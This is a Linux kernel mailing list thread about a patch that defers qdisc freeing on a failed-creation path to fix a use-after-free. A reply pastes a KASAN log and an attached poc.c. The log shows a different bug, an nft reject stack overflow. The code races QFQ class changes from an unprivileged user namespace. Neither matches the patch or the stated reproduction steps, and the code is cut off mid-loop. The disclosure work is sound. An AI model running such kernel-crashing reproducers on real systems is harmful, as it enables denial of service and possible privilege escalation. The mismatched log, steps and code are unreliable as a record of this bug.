The Linux Kernel Mailing List
 help / color / mirror / Atom feed
* [PATCH net] net/sched: defer qdisc freeing after failed creation
@ 2026-08-05 10:25 David Lee
  2026-08-05 18:00 ` Jamal Hadi Salim
  0 siblings, 1 reply; 4+ messages in thread
From: David Lee @ 2026-08-05 10:25 UTC (permalink / raw)
  To: davem, edumazet, kuba, pabeni, jhs, jiri
  Cc: Kyle Zeng, Dominik 'Disconnect3d' Czarnota, horms, netdev,
	linux-kernel, David Lee

From: Kyle Zeng <kylebot@openai.com>

A qdisc's init callback can publish state to RCU readers before
qdisc_create() completes. In particular, clsact_init() binds a populated
shared ingress block and installs an embedded mini_Qdisc in
dev->tcx_ingress. If subsequent rate estimator setup fails, the unwind
removes that pointer but qdisc_free() immediately releases the qdisc and
its per-CPU statistics. A reader that obtained the miniq before removal
can then access freed memory.

Add qdisc_free_rcu() and use it for the creation error path, matching
normal qdisc destruction. This keeps the embedded miniq and the per-CPU
statistics alive until pre-existing readers complete.

Fixes: 51ab2994c387 ("net: sched: allow ingress and clsact qdiscs to share filter blocks")
Assisted-by: Codex:gpt-5.6-sol Codex:gpt-5.5-cyber
Signed-off-by: Kyle Zeng <kylebot@openai.com>
Signed-off-by: David Lee <david.lee@trailofbits.com>
---
Bug found and triaged by OpenAI Security Research and
validated by Trail of Bits.

Trail of Bits has a reproducer for this bug that triggers a
KASAN use-after-free and can share if needed.

 include/net/sch_generic.h | 1 +
 net/sched/sch_api.c       | 2 +-
 net/sched/sch_generic.c   | 7 ++++++-
 3 files changed, 8 insertions(+), 2 deletions(-)

diff --git a/include/net/sch_generic.h b/include/net/sch_generic.h
index 45a1e8c782..d45442c926 100644
--- a/include/net/sch_generic.h
+++ b/include/net/sch_generic.h
@@ -793,6 +793,7 @@ struct Qdisc *qdisc_alloc(struct netdev_queue *dev_queue,
 			  const struct Qdisc_ops *ops,
 			  struct netlink_ext_ack *extack);
 void qdisc_free(struct Qdisc *qdisc);
+void qdisc_free_rcu(struct Qdisc *qdisc);
 struct Qdisc *qdisc_create_dflt(struct netdev_queue *dev_queue,
 				const struct Qdisc_ops *ops, u32 parentid,
 				struct netlink_ext_ack *extack);
diff --git a/net/sched/sch_api.c b/net/sched/sch_api.c
index 668bcd60d1..041bd60072 100644
--- a/net/sched/sch_api.c
+++ b/net/sched/sch_api.c
@@ -1373,7 +1373,7 @@ static struct Qdisc *qdisc_create(struct net_device *dev,
 err_out3:
 	qdisc_lock_uninit(sch, ops);
 	netdev_put(dev, &sch->dev_tracker);
-	qdisc_free(sch);
+	qdisc_free_rcu(sch);
 err_out2:
 	bpf_module_put(ops, ops->owner);
 err_out:
diff --git a/net/sched/sch_generic.c b/net/sched/sch_generic.c
index ef2b4bf515..86d551fbab 100644
--- a/net/sched/sch_generic.c
+++ b/net/sched/sch_generic.c
@@ -1103,6 +1103,11 @@ static void qdisc_free_cb(struct rcu_head *head)
 	qdisc_free(q);
 }
 
+void qdisc_free_rcu(struct Qdisc *qdisc)
+{
+	call_rcu(&qdisc->rcu, qdisc_free_cb);
+}
+
 static void __qdisc_destroy(struct Qdisc *qdisc)
 {
 	const struct Qdisc_ops  *ops = qdisc->ops;
@@ -1127,7 +1132,7 @@ static void __qdisc_destroy(struct Qdisc *qdisc)
 
 	trace_qdisc_destroy(qdisc);
 
-	call_rcu(&qdisc->rcu, qdisc_free_cb);
+	qdisc_free_rcu(qdisc);
 }
 
 void qdisc_destroy(struct Qdisc *qdisc)
-- 
2.53.0

^ permalink raw reply related	[flat|nested] 4+ messages in thread

* Re: [PATCH net] net/sched: defer qdisc freeing after failed creation
  2026-08-05 10:25 [PATCH net] net/sched: defer qdisc freeing after failed creation David Lee
@ 2026-08-05 18:00 ` Jamal Hadi Salim
  2026-08-10 15:58   ` David Lee
  0 siblings, 1 reply; 4+ messages in thread
From: Jamal Hadi Salim @ 2026-08-05 18:00 UTC (permalink / raw)
  To: David Lee
  Cc: davem, edumazet, kuba, pabeni, jiri, Kyle Zeng,
	Dominik 'Disconnect3d' Czarnota, horms, netdev,
	linux-kernel

On Wed, Aug 5, 2026 at 6:25 AM David Lee <david.lee@trailofbits.com> wrote:
>
> From: Kyle Zeng <kylebot@openai.com>
>
> A qdisc's init callback can publish state to RCU readers before
> qdisc_create() completes. In particular, clsact_init() binds a populated
> shared ingress block and installs an embedded mini_Qdisc in
> dev->tcx_ingress. If subsequent rate estimator setup fails, the unwind
> removes that pointer but qdisc_free() immediately releases the qdisc and
> its per-CPU statistics. A reader that obtained the miniq before removal
> can then access freed memory.
>
> Add qdisc_free_rcu() and use it for the creation error path, matching
> normal qdisc destruction. This keeps the embedded miniq and the per-CPU
> statistics alive until pre-existing readers complete.
>
> Fixes: 51ab2994c387 ("net: sched: allow ingress and clsact qdiscs to share filter blocks")
> Assisted-by: Codex:gpt-5.6-sol Codex:gpt-5.5-cyber
> Signed-off-by: Kyle Zeng <kylebot@openai.com>
> Signed-off-by: David Lee <david.lee@trailofbits.com>

Thanks for finding the issue. But you should know the deal by now,
send the poc - you can send it in private. Same goes for your other
patch.

cheers,
jamal

> ---
> Bug found and triaged by OpenAI Security Research and
> validated by Trail of Bits.
>
> Trail of Bits has a reproducer for this bug that triggers a
> KASAN use-after-free and can share if needed.
>
>  include/net/sch_generic.h | 1 +
>  net/sched/sch_api.c       | 2 +-
>  net/sched/sch_generic.c   | 7 ++++++-
>  3 files changed, 8 insertions(+), 2 deletions(-)
>
> diff --git a/include/net/sch_generic.h b/include/net/sch_generic.h
> index 45a1e8c782..d45442c926 100644
> --- a/include/net/sch_generic.h
> +++ b/include/net/sch_generic.h
> @@ -793,6 +793,7 @@ struct Qdisc *qdisc_alloc(struct netdev_queue *dev_queue,
>                           const struct Qdisc_ops *ops,
>                           struct netlink_ext_ack *extack);
>  void qdisc_free(struct Qdisc *qdisc);
> +void qdisc_free_rcu(struct Qdisc *qdisc);
>  struct Qdisc *qdisc_create_dflt(struct netdev_queue *dev_queue,
>                                 const struct Qdisc_ops *ops, u32 parentid,
>                                 struct netlink_ext_ack *extack);
> diff --git a/net/sched/sch_api.c b/net/sched/sch_api.c
> index 668bcd60d1..041bd60072 100644
> --- a/net/sched/sch_api.c
> +++ b/net/sched/sch_api.c
> @@ -1373,7 +1373,7 @@ static struct Qdisc *qdisc_create(struct net_device *dev,
>  err_out3:
>         qdisc_lock_uninit(sch, ops);
>         netdev_put(dev, &sch->dev_tracker);
> -       qdisc_free(sch);
> +       qdisc_free_rcu(sch);
>  err_out2:
>         bpf_module_put(ops, ops->owner);
>  err_out:
> diff --git a/net/sched/sch_generic.c b/net/sched/sch_generic.c
> index ef2b4bf515..86d551fbab 100644
> --- a/net/sched/sch_generic.c
> +++ b/net/sched/sch_generic.c
> @@ -1103,6 +1103,11 @@ static void qdisc_free_cb(struct rcu_head *head)
>         qdisc_free(q);
>  }
>
> +void qdisc_free_rcu(struct Qdisc *qdisc)
> +{
> +       call_rcu(&qdisc->rcu, qdisc_free_cb);
> +}
> +
>  static void __qdisc_destroy(struct Qdisc *qdisc)
>  {
>         const struct Qdisc_ops  *ops = qdisc->ops;
> @@ -1127,7 +1132,7 @@ static void __qdisc_destroy(struct Qdisc *qdisc)
>
>         trace_qdisc_destroy(qdisc);
>
> -       call_rcu(&qdisc->rcu, qdisc_free_cb);
> +       qdisc_free_rcu(qdisc);
>  }
>
>  void qdisc_destroy(struct Qdisc *qdisc)
> --
> 2.53.0

^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH net] net/sched: defer qdisc freeing after failed creation
  2026-08-05 18:00 ` Jamal Hadi Salim
@ 2026-08-10 15:58   ` David Lee
  2026-08-13  1:22     ` Jakub Kicinski
  0 siblings, 1 reply; 4+ messages in thread
From: David Lee @ 2026-08-10 15:58 UTC (permalink / raw)
  To: Jamal Hadi Salim
  Cc: davem, edumazet, kuba, pabeni, jiri, Kyle Zeng,
	Dominik 'Disconnect3d' Czarnota, horms, netdev,
	linux-kernel


[-- Attachment #1.1: Type: text/plain, Size: 11478 bytes --]

Hi Jamal,

I have attached the reproducer and satnizer logs here:

---
[  230.057740] ipip: IPv4 and MPLS over IPv4 tunneling driver
[  231.667279]
==================================================================
[  231.667738] BUG: KASAN: stack-out-of-bounds in
__ip_options_echo+0xdf7/0x1860
[  231.667738] Write of size 255 at addr ffffc9000029f008 by task
ksoftirqd/3/37
[  231.667738]
[  231.667738] CPU: 3 UID: 0 PID: 37 Comm: ksoftirqd/3 Not tainted
7.2.0-rc3-kasan #1 PREEMPT(lazy)
[  231.667738] Hardware name: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996),
BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014
[  231.667738] Call Trace:
[  231.667738]  <TASK>
[  231.667738]  dump_stack_lvl+0x5f/0x90
[  231.667738]  print_report+0x15b/0x4ec
[  231.667738]  ? __pfx__raw_spin_lock_irqsave+0x10/0x10
[  231.667738]  ? kasan_addr_to_slab+0xd/0x80
[  231.667738]  kasan_report+0xf2/0x130
[  231.667738]  ? __ip_options_echo+0xdf7/0x1860
[  231.667738]  ? __ip_options_echo+0xdf7/0x1860
[  231.667738]  kasan_check_range+0x13a/0x230
[  231.667738]  __asan_memcpy+0x3b/0x80
[  231.667738]  __ip_options_echo+0xdf7/0x1860
[  231.667738]  ? __pfx___ip_options_echo+0x10/0x10
[  231.667738]  __icmp_send+0x8c5/0x26e0
[  231.667738]  ? __pfx___icmp_send+0x10/0x10
[  231.667738]  ? sysvec_apic_timer_interrupt+0x54/0xd0
[  231.667738]  ? __pfx_nf_reject_fill_skb_dst+0x10/0x10 [nf_reject_ipv4]
[  231.667738]  ? _raw_spin_lock+0x82/0xf0
[  231.667738]  ? irqentry_exit+0x1cd/0x7b0
[  231.667738]  nf_send_unreach+0x303/0x810 [nf_reject_ipv4]
[  231.667738]  ? __pfx_nf_send_unreach+0x10/0x10 [nf_reject_ipv4]
[  231.667738]  nft_reject_inet_eval+0x4cd/0x8a0 [nft_reject_inet]
[  231.667738]  ? nft_do_chain+0x45a/0x1ae0 [nf_tables]
[  231.667738]  nft_do_chain+0x25a/0x1ae0 [nf_tables]
[  231.667738]  ? __pfx_tcp_v4_rcv+0x10/0x10
[  231.667738]  ? raw_local_deliver+0x3b9/0xc80
[  231.667738]  ? __pfx_nft_do_chain+0x10/0x10 [nf_tables]
[  231.667738]  ? update_stack_state+0x26e/0x6a0
[  231.667738]  ? fib_validate_source+0x455/0x770
[  231.667738]  ? update_stack_state+0x26e/0x6a0
[  231.667738]  nft_do_chain_inet_ingress+0x44f/0x1420 [nf_tables]
[  231.667738]  ? __pfx_nft_do_chain_inet_ingress+0x10/0x10 [nf_tables]
[  231.667738]  ? unwind_next_frame+0x18a/0xac0
[  231.667738]  nf_hook_slow+0xaa/0x1f0
[  231.667738]  __netif_receive_skb_core.constprop.0+0x19b6/0x31e0
[  231.667738]  ? __pfx_read_hpet+0x10/0x10
[  231.667738]  ? ret_from_fork_asm+0x1a/0x30
[  231.667738]  ? __pfx___netif_receive_skb_core.constprop.0+0x10/0x10
[  231.667738]  ? clockevents_program_event+0x2bd/0x750
[  231.667738]  ? run_ksoftirqd+0x3a/0x60
[  231.667738]  ? kasan_save_stack+0x4e/0x70
[  231.667738]  ? __kasan_check_write+0x14/0x30
[  231.667738]  ? _raw_spin_lock+0x82/0xf0
[  231.667738]  ? __hrtimer_rearm_deferred+0x18a/0x520
[  231.667738]  __netif_receive_skb_list_core+0x314/0xb10
[  231.667738]  ? sysvec_apic_timer_interrupt+0x54/0xd0
[  231.667738]  ? __pfx___netif_receive_skb_list_core+0x10/0x10
[  231.667738]  ? kasan_save_track+0x27/0x70
[  231.667738]  netif_receive_skb_list_internal+0x5eb/0xde0
[  231.667738]  ? __kasan_check_write+0x14/0x30
[  231.667738]  ? __pfx_netif_receive_skb_list_internal+0x10/0x10
[  231.667738]  ? __pfx_napi_complete_done+0x10/0x10
[  231.667738]  ? __pfx_dql_completed+0x10/0x10
[  231.667738]  ? __kasan_check_read+0x11/0x20
[  231.667738]  ? dev_gro_receive+0x20d/0x3060
[  231.667738]  napi_complete_done+0x1b6/0x830
[  231.667738]  ? pick_eevdf+0x19b/0x7e0
[  231.667738]  ? __pfx_napi_complete_done+0x10/0x10
[  231.667738]  ? gro_receive_skb+0x292/0xa90
[  231.667738]  gro_cell_poll+0x120/0x1f0
[  231.667738]  __napi_poll+0xa3/0x4c0
[  231.667738]  net_rx_action+0x4c1/0xfb0
[  231.667738]  ? __pfx_net_rx_action+0x10/0x10
[  231.667738]  ? finish_task_switch.isra.0+0x1f1/0xc10
[  231.667738]  ? __switch_to+0x8d7/0xd40
[  231.667738]  handle_softirqs+0x1ae/0x670
[  231.667738]  ? __pfx_handle_softirqs+0x10/0x10
[  231.667738]  run_ksoftirqd+0x3a/0x60
[  231.667738]  smpboot_thread_fn+0x29d/0x6e0
[  231.667738]  ? __pfx_smpboot_thread_fn+0x10/0x10
[  231.667738]  kthread+0x333/0x420
[  231.667738]  ? calculate_sigpending+0x78/0xb0
[  231.667738]  ? __pfx_kthread+0x10/0x10
[  231.667738]  ret_from_fork+0x426/0x7c0
[  231.667738]  ? __pfx_ret_from_fork+0x10/0x10
[  231.667738]  ? native_load_gs_index+0x3f/0x60
[  231.667738]  ? __switch_to+0x8d7/0xd40
[  231.667738]  ? __switch_to_asm+0x39/0x70
[  231.667738]  ? __pfx_kthread+0x10/0x10
[  231.667738]  ret_from_fork_asm+0x1a/0x30
[  231.667738]  </TASK>
[  231.667738]
[  231.667738] The buggy address belongs to stack of task ksoftirqd/3/37
[  231.667738]  and is located at offset 376 in frame:
[  231.667738]  __icmp_send+0x0/0x26e0
[  231.667738]
[  231.667738] This frame has 7 objects:
[  231.667738]  [32, 33) 'apply_ratelimit'
[  231.667738]  [48, 49) '_inner_type'
[  231.667738]  [64, 68) 'data'
[  231.667738]  [80, 88) 'rt'
[  231.667738]  [112, 168) 'ipc'
[  231.667738]  [208, 264) 'fl4'
[  231.667738]  [304, 416) 'icmp_param_u'
[  231.667738]
[  231.667738] The buggy address belongs to a vmalloc virtual mapping
[  231.667738] The buggy address belongs to the physical page:
[  231.667738] page: refcount:1 mapcount:0 mapping:0000000000000000
index:0x0 pfn:0x100c1f
[  231.667738] flags: 0x17ffffc0000000(node=0|zone=2|lastcpupid=0x1fffff)
[  231.667738] raw: 0017ffffc0000000 ffffea00040307c8 ffffea00040307c8
0000000000000000
[  231.667738] raw: 0000000000000000 0000000000000000 00000001ffffffff
0000000000000000
[  231.667738] page dumped because: kasan: bad access detected
[  231.667738]
[  231.667738] Memory state around the buggy address:
[  231.667738]  ffffc9000029ef00: 00 00 00 00 00 00 00 f2 f2 f2 f2 f2 00 00
00 00
[  231.667738]  ffffc9000029ef80: 00 00 00 f2 f2 f2 f2 f2 00 00 00 00 00 00
00 00
[  231.667738] >ffffc9000029f000: 00 00 00 00 00 00 f3 f3 f3 f3 00 00 00 00
00 00
[  231.667738]                                      ^
[  231.667738]  ffffc9000029f080: 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
00 f3
[  231.667738]  ffffc9000029f100: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
00 00
[  231.667738]
==================================================================
[  231.746888] Disabling lock debugging due to kernel taint
---
======== Affected Versions =======
Confirmed Version:
* 6f5156d7a31a8c3b0f34af4675c9299c8f877cbe (post-v7.2-rc3)
Required Configs for the Vulnerability:
* CONFIG_INET
* CONFIG_NETFILTER
* CONFIG_NETFILTER_INGRESS
* CONFIG_NF_TABLES
* CONFIG_NF_TABLES_INET
* CONFIG_NFT_REJECT
* CONFIG_NFT_REJECT_INET
* CONFIG_NF_REJECT_IPV4

Additional Configs for the Proof of Concept:
* CONFIG_NET_IPIP
* CONFIG_VETH
* CONFIG_PACKET
* CONFIG_USER_NS
* CONFIG_NET_NS

========== Reproduction ==========
Step 1: Build kernel commit
`6f5156d7a31a8c3b0f34af4675c9299c8f877cbe` with KASAN and the
configuration options listed above.

Step 2: Build the attached `poc.c`:

~
gcc -static -O2 -Wall -Wextra -o poc poc.c
~

Step 3: Ensure the `nft_reject_inet`, `nf_reject_ipv4`, `ipip`, and
`veth` modules are available or built into the kernel. Run `./poc` as
an ordinary local user on a system that permits unprivileged user
namespaces. The `ip` utility must be installed.

The program creates its own user and network namespace, configures a
veth pair and IPIP device, installs an inet-ingress ICMPX reject rule,
and transmits the triggering packet. KASAN reports the
stack-out-of-bounds write.

Best regards,
David


On Wed, Aug 5, 2026 at 2:01 PM Jamal Hadi Salim <jhs@mojatatu.com> wrote:

> On Wed, Aug 5, 2026 at 6:25 AM David Lee <david.lee@trailofbits.com>
> wrote:
> >
> > From: Kyle Zeng <kylebot@openai.com>
> >
> > A qdisc's init callback can publish state to RCU readers before
> > qdisc_create() completes. In particular, clsact_init() binds a populated
> > shared ingress block and installs an embedded mini_Qdisc in
> > dev->tcx_ingress. If subsequent rate estimator setup fails, the unwind
> > removes that pointer but qdisc_free() immediately releases the qdisc and
> > its per-CPU statistics. A reader that obtained the miniq before removal
> > can then access freed memory.
> >
> > Add qdisc_free_rcu() and use it for the creation error path, matching
> > normal qdisc destruction. This keeps the embedded miniq and the per-CPU
> > statistics alive until pre-existing readers complete.
> >
> > Fixes: 51ab2994c387 ("net: sched: allow ingress and clsact qdiscs to
> share filter blocks")
> > Assisted-by: Codex:gpt-5.6-sol Codex:gpt-5.5-cyber
> > Signed-off-by: Kyle Zeng <kylebot@openai.com>
> > Signed-off-by: David Lee <david.lee@trailofbits.com>
>
> Thanks for finding the issue. But you should know the deal by now,
> send the poc - you can send it in private. Same goes for your other
> patch.
>
> cheers,
> jamal
>
> > ---
> > Bug found and triaged by OpenAI Security Research and
> > validated by Trail of Bits.
> >
> > Trail of Bits has a reproducer for this bug that triggers a
> > KASAN use-after-free and can share if needed.
> >
> >  include/net/sch_generic.h | 1 +
> >  net/sched/sch_api.c       | 2 +-
> >  net/sched/sch_generic.c   | 7 ++++++-
> >  3 files changed, 8 insertions(+), 2 deletions(-)
> >
> > diff --git a/include/net/sch_generic.h b/include/net/sch_generic.h
> > index 45a1e8c782..d45442c926 100644
> > --- a/include/net/sch_generic.h
> > +++ b/include/net/sch_generic.h
> > @@ -793,6 +793,7 @@ struct Qdisc *qdisc_alloc(struct netdev_queue
> *dev_queue,
> >                           const struct Qdisc_ops *ops,
> >                           struct netlink_ext_ack *extack);
> >  void qdisc_free(struct Qdisc *qdisc);
> > +void qdisc_free_rcu(struct Qdisc *qdisc);
> >  struct Qdisc *qdisc_create_dflt(struct netdev_queue *dev_queue,
> >                                 const struct Qdisc_ops *ops, u32
> parentid,
> >                                 struct netlink_ext_ack *extack);
> > diff --git a/net/sched/sch_api.c b/net/sched/sch_api.c
> > index 668bcd60d1..041bd60072 100644
> > --- a/net/sched/sch_api.c
> > +++ b/net/sched/sch_api.c
> > @@ -1373,7 +1373,7 @@ static struct Qdisc *qdisc_create(struct
> net_device *dev,
> >  err_out3:
> >         qdisc_lock_uninit(sch, ops);
> >         netdev_put(dev, &sch->dev_tracker);
> > -       qdisc_free(sch);
> > +       qdisc_free_rcu(sch);
> >  err_out2:
> >         bpf_module_put(ops, ops->owner);
> >  err_out:
> > diff --git a/net/sched/sch_generic.c b/net/sched/sch_generic.c
> > index ef2b4bf515..86d551fbab 100644
> > --- a/net/sched/sch_generic.c
> > +++ b/net/sched/sch_generic.c
> > @@ -1103,6 +1103,11 @@ static void qdisc_free_cb(struct rcu_head *head)
> >         qdisc_free(q);
> >  }
> >
> > +void qdisc_free_rcu(struct Qdisc *qdisc)
> > +{
> > +       call_rcu(&qdisc->rcu, qdisc_free_cb);
> > +}
> > +
> >  static void __qdisc_destroy(struct Qdisc *qdisc)
> >  {
> >         const struct Qdisc_ops  *ops = qdisc->ops;
> > @@ -1127,7 +1132,7 @@ static void __qdisc_destroy(struct Qdisc *qdisc)
> >
> >         trace_qdisc_destroy(qdisc);
> >
> > -       call_rcu(&qdisc->rcu, qdisc_free_cb);
> > +       qdisc_free_rcu(qdisc);
> >  }
> >
> >  void qdisc_destroy(struct Qdisc *qdisc)
> > --
> > 2.53.0
>

[-- Attachment #1.2: Type: text/html, Size: 13263 bytes --]

[-- Attachment #2: poc.c --]
[-- Type: application/octet-stream, Size: 8441 bytes --]

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/gen_stats.h>
#include <linux/netlink.h>
#include <linux/pkt_sched.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <pthread.h>
#include <sched.h>
#include <stdarg.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#define QDISC_HANDLE 0x10000U
#define CLASS_HANDLE 0x10001U
#define TARGET_LMAX 1500U
#define UDP_PAYLOAD_LEN 1458
#define ITERATIONS 50000U
#define MAX_DELAY 4096U

struct nl_req {
	char buf[4096];
	struct nlmsghdr *nlh;
};

struct race_ctx {
	atomic_uint go;
	atomic_uint done;
	int sender;
	int receiver;
	char packet[UDP_PAYLOAD_LEN];
};

static uint32_t nl_seq;

static void die(const char *fmt, ...)
{
	va_list ap;

	va_start(ap, fmt);
	vfprintf(stderr, fmt, ap);
	va_end(ap);
	fprintf(stderr, ": %s\n", strerror(errno));
	exit(1);
}

static void expect_ok(int ret, const char *what)
{
	if (ret < 0) {
		errno = -ret;
		die("%s", what);
	}
}

static void init_req(struct nl_req *req, uint16_t type, uint16_t flags,
		     size_t payload_len)
{
	memset(req, 0, sizeof(*req));
	req->nlh = (struct nlmsghdr *)req->buf;
	req->nlh->nlmsg_len = NLMSG_LENGTH(payload_len);
	req->nlh->nlmsg_type = type;
	req->nlh->nlmsg_flags = flags;
}

static void addattr(struct nl_req *req, uint16_t type, const void *data,
		    size_t len)
{
	size_t offset = NLMSG_ALIGN(req->nlh->nlmsg_len);
	size_t attr_len = RTA_LENGTH(len);
	struct rtattr *rta;

	if (offset + RTA_ALIGN(attr_len) > sizeof(req->buf)) {
		errno = E2BIG;
		die("netlink attribute overflow");
	}

	rta = (struct rtattr *)(req->buf + offset);
	rta->rta_type = type;
	rta->rta_len = attr_len;
	memcpy(RTA_DATA(rta), data, len);
	req->nlh->nlmsg_len = offset + RTA_ALIGN(attr_len);
}

static struct rtattr *nest_start(struct nl_req *req, uint16_t type)
{
	size_t offset = NLMSG_ALIGN(req->nlh->nlmsg_len);
	struct rtattr *rta;

	if (offset + RTA_ALIGN(RTA_LENGTH(0)) > sizeof(req->buf)) {
		errno = E2BIG;
		die("netlink nest overflow");
	}

	rta = (struct rtattr *)(req->buf + offset);
	rta->rta_type = type;
	rta->rta_len = RTA_LENGTH(0);
	req->nlh->nlmsg_len = offset + RTA_ALIGN(rta->rta_len);
	return rta;
}

static void nest_end(struct nl_req *req, struct rtattr *rta)
{
	rta->rta_len = (char *)req->buf + req->nlh->nlmsg_len - (char *)rta;
}

static int nl_open(void)
{
	struct sockaddr_nl addr = {
		.nl_family = AF_NETLINK,
	};
	int fd;

	fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
	if (fd < 0)
		die("socket NETLINK_ROUTE");
	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("bind NETLINK_ROUTE");
	return fd;
}

static int nl_talk(int fd, struct nl_req *req)
{
	struct sockaddr_nl nladdr = {
		.nl_family = AF_NETLINK,
	};
	char buf[8192];
	struct iovec iov;
	struct msghdr msg;
	ssize_t n;

	req->nlh->nlmsg_seq = ++nl_seq;
	iov.iov_base = req->nlh;
	iov.iov_len = req->nlh->nlmsg_len;
	memset(&msg, 0, sizeof(msg));
	msg.msg_name = &nladdr;
	msg.msg_namelen = sizeof(nladdr);
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	if (sendmsg(fd, &msg, 0) < 0)
		return -errno;

	for (;;) {
		struct nlmsghdr *nlh;
		int rem;

		n = recv(fd, buf, sizeof(buf), 0);
		if (n < 0)
			return -errno;
		for (nlh = (struct nlmsghdr *)buf, rem = (int)n;
		     NLMSG_OK(nlh, rem); nlh = NLMSG_NEXT(nlh, rem)) {
			struct nlmsgerr *err;

			if (nlh->nlmsg_seq != req->nlh->nlmsg_seq)
				continue;
			if (nlh->nlmsg_type != NLMSG_ERROR)
				continue;
			err = (struct nlmsgerr *)NLMSG_DATA(nlh);
			return err->error;
		}
	}
}

static int qdisc_add(int fd, int ifindex)
{
	struct nl_req req;
	struct tcmsg *tcm;
	const char kind[] = "qfq";

	init_req(&req, RTM_NEWQDISC,
		 NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL,
		 sizeof(*tcm));
	tcm = NLMSG_DATA(req.nlh);
	tcm->tcm_family = AF_UNSPEC;
	tcm->tcm_ifindex = ifindex;
	tcm->tcm_handle = QDISC_HANDLE;
	tcm->tcm_parent = TC_H_ROOT;
	addattr(&req, TCA_KIND, kind, sizeof(kind));
	return nl_talk(fd, &req);
}

static int class_change(int fd, int ifindex, uint32_t lmax, bool create,
			bool add_rate)
{
	struct nl_req req;
	struct tcmsg *tcm;
	struct rtattr *opts;
	struct gnet_estimator est = {
		.interval = -2,
		.ewma_log = 1,
	};
	uint32_t weight = 1;
	uint16_t flags = NLM_F_REQUEST | NLM_F_ACK;

	if (create)
		flags |= NLM_F_CREATE | NLM_F_EXCL;
	init_req(&req, RTM_NEWTCLASS, flags, sizeof(*tcm));
	tcm = NLMSG_DATA(req.nlh);
	tcm->tcm_family = AF_UNSPEC;
	tcm->tcm_ifindex = ifindex;
	tcm->tcm_handle = CLASS_HANDLE;
	tcm->tcm_parent = QDISC_HANDLE;
	opts = nest_start(&req, TCA_OPTIONS);
	addattr(&req, TCA_QFQ_WEIGHT, &weight, sizeof(weight));
	addattr(&req, TCA_QFQ_LMAX, &lmax, sizeof(lmax));
	nest_end(&req, opts);
	if (add_rate)
		addattr(&req, TCA_RATE, &est, sizeof(est));
	return nl_talk(fd, &req);
}

static void setup_namespace(void)
{
	if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0)
		die("unshare");
}

static int setup_loopback(void)
{
	struct ifreq ifr;
	int fd;
	int ifindex;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die("socket AF_INET");
	memset(&ifr, 0, sizeof(ifr));
	strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
	if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
		die("SIOCGIFFLAGS");
	ifr.ifr_flags |= IFF_UP;
	if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
		die("SIOCSIFFLAGS");
	close(fd);

	ifindex = if_nametoindex("lo");
	if (ifindex == 0)
		die("if_nametoindex");
	return ifindex;
}

static int setup_udp(int *receiver)
{
	struct sockaddr_in addr = {
		.sin_family = AF_INET,
		.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
		.sin_port = 0,
	};
	socklen_t addrlen = sizeof(addr);
	int sender;
	int priority = CLASS_HANDLE;

	*receiver = socket(AF_INET, SOCK_DGRAM, 0);
	if (*receiver < 0)
		die("receiver socket");
	if (bind(*receiver, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("receiver bind");
	if (getsockname(*receiver, (struct sockaddr *)&addr, &addrlen) < 0)
		die("receiver getsockname");

	sender = socket(AF_INET, SOCK_DGRAM, 0);
	if (sender < 0)
		die("sender socket");
	if (setsockopt(sender, SOL_SOCKET, SO_PRIORITY, &priority,
		       sizeof(priority)) < 0)
		die("SO_PRIORITY");
	if (connect(sender, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("sender connect");
	return sender;
}

static void pin_cpu(int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	if (sched_setaffinity(0, sizeof(set), &set) < 0)
		die("sched_setaffinity");
}

static void spin_delay(unsigned int count)
{
	while (count--)
		asm volatile("pause" ::: "memory");
}

static void *sender_thread(void *arg)
{
	struct race_ctx *ctx = arg;
	unsigned int i;

	pin_cpu(1);
	for (i = 1; i <= ITERATIONS; i++) {
		char drain[2048];

		while (atomic_load_explicit(&ctx->go, memory_order_acquire) != i)
			asm volatile("pause" ::: "memory");
		spin_delay(i % MAX_DELAY);
		if (send(ctx->sender, ctx->packet, sizeof(ctx->packet), 0) < 0)
			die("send");
		while (recv(ctx->receiver, drain, sizeof(drain), MSG_DONTWAIT) > 0)
			;
		atomic_store_explicit(&ctx->done, i, memory_order_release);
	}
	return NULL;
}

int main(void)
{
	struct race_ctx ctx;
	pthread_t thread;
	int nl;
	int ifindex;
	int ret;
	int thread_ret;
	unsigned int i;

	memset(&ctx, 0, sizeof(ctx));
	memset(ctx.packet, 'A', sizeof(ctx.packet));
	setup_namespace();
	ifindex = setup_loopback();
	nl = nl_open();
	expect_ok(qdisc_add(nl, ifindex), "add qfq qdisc");
	expect_ok(class_change(nl, ifindex, 512, true, false),
		  "create qfq class");
	ctx.sender = setup_udp(&ctx.receiver);

	pin_cpu(0);
	thread_ret = pthread_create(&thread, NULL, sender_thread, &ctx);
	if (thread_ret != 0) {
		errno = thread_ret;
		die("pthread_create");
	}

	/*
	 * The estimator attribute makes the post-snapshot part of
	 * qfq_change_class() long enough for the packet enqueue on CPU 1 to
	 * migrate the class to the requested (weight=1, lmax=1500) aggregate.
	 */
	for (i = 1; i <= ITERATIONS; i++) {
		expect_ok(class_change(nl, ifindex, 512, false, false),
			  "reset qfq class");
		atomic_store_explicit(&ctx.go, i, memory_order_release);
		ret = class_change(nl, ifindex, TARGET_LMAX, false, true);
		expect_ok(ret, "change qfq class");
